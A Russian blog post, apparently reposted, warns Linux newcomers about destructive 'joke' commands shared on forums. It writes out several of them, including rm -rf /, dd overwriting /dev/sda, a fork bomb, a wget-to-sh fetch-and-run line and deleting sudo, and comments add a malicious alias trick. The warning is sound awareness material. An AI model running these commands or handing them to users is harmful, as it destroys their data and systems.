8 мая 2019

Опасные шутки с Linux: какие команды нельзя вводить никогда

+++
Линуксоиды — народ веселый. Мы любим пошутить. К сожалению, некоторые шутки над новичками в Linux иногда заканчиваются уничтожением системы и потерпевшему уже не до смеха. Как не попасться на вредоносный розыгрыш?

Опасные шутки с Linux: какие команды нельзя вводить никогда - 883332464275
Какова принципиальная схема розыгрыша? Начинающий пользователь читает на форуме совет из серии «Как ускорить Linux ровно в 100 раз». В теле комментария содержатся непонятные строчки, которые нужно вписать в терминале. Пользователь копипастит рецепт и его компьютер подрывается на мине. Но что же делать, если ускорить Linux в 100 раз хочется, а потерять данные — нет? Нужно просматривать код на наличие следующих убийственных команд:

mv / /dev/null

Команда переносит содержимое жесткого диска в черную дыру. Эквивалент 

rm -rf /

Удаление всего на диске. На самом деле, команда сразу не сработает — сначала задаст пользователю вопрос на английском. Но что делает, скажем, пользователь Linux Mint с вопросами на английском? Жмет «y». Если использовать опцию «--no-preserve-root», то вывод вопроса будет подавлен.

wget
http://www.example.com/script.txt -O- | sh

С
example.com загрузится и сразу же выполнится код, который вы даже не увидите. Очень опасная команда. На нее ведутся даже некоторые опытные линуксоиды, видя домен, который заслуживает доверия. Но не забывайте, что в некоторых случаях пользователи могут загружать на сайт свои файлы. Безопасное расширение txt тоже не должно обманывать, оно тут не при чем. Содержимое текстового файла будет подано на вход sh.

dd if=/dev/random of=/dev/sda

Уничтожит данные на диске, причем гарантированно без возможности восстановления (при условии, что отработает до конца).

:(){:|:&};:

Вилочная бомба. Опасна только на сервере. Команда порождает копии себя до тех пор, пока не закончится ОЗУ. Затем компьютер виснет, но после перезагрузки полностью работоспособен.

rm -f /usr/bin/sudo ; rm -f /bin/su

Не даст получить права root из терминала. Самая безобидная шутка, но на новичков наводит панику. Опытный линуксоид нажмет Ctrl-Alt-F1, спокойно зайдет под root и восстановит sudo и su.

dd if=/dev/random of=/dev/port

Запись мусора в порты ввода-вывода. Вызовет панику ядра и зависание. Некоторые пользователи утверждают, что таким образом можно вызвать аппаратную поломку, однако документальных подтверждений этому нет.

echo 1 > /proc/sys/kernel/panic

Корректный вызов паники ядра Linux.

> /dev/sda

Любые комбинации с этой командой критически опасны. echo "Hello!" > /dev/sda испортит разметку диска. Большие фрагменты мусора, отправляемые в /dev/sda уничтожат данные на диске без возможности восстановления специализированными программами.

Источник:
http://liberatum.ru/e/dangerous-commands-linux

Комментарии

  • 8 мая 2019 11:20
    Ссылка на источник внизу. Там найдете и аффтора. Впрочем, проверить его можете экспериментом. Только не забудьте вначале "sudo -s" сделать. А дальше пойдёт как по маслу :-D
  • 8 мая 2019 11:28
    Впрочем, статья мне показалась дельной, вот и скопипастил. Какой-то начинающий пишет какому-то продвинутому злодею средней руки - "у меня свисток модема 4G не коннектится, помоги!".
    А тот - "как два пальца об асфальт - открывай терминал, копируй и вставляй"...Немая сцена...
  • 11 мая 2019 20:25
    А что про alias  в командной строке забыли? Забивай в alias что хочешь, публикуй команду - остальные тупо эту команду копируют и.... профит! Система слетела.... Например:
  • Комментарий удалён.
  • 11 мая 2019 20:33
    alias ls='rm /' вставьте ls  в команду и опубликуйте. Большинство юзеров тупо копипастят - в том и беда ( а вот если бы на клаве руками повторить - .... ну, умнее, что ли было бы). Про Винду - давно было, по моему что то подобное с .bak файлами что-то делали, не помню...
  • 11 мая 2019 20:39
    Это как пример, к / права доступа нужны, а соответственно и присвоение alias изменяется или в публикуемой команде права доступа....
  • 11 мая 2019 20:45
    Виноват, печатался, не .bak, а  с  .bat файлами - с батниками, просто от времени - лет 10 назад было.... виноват, извиняюсь.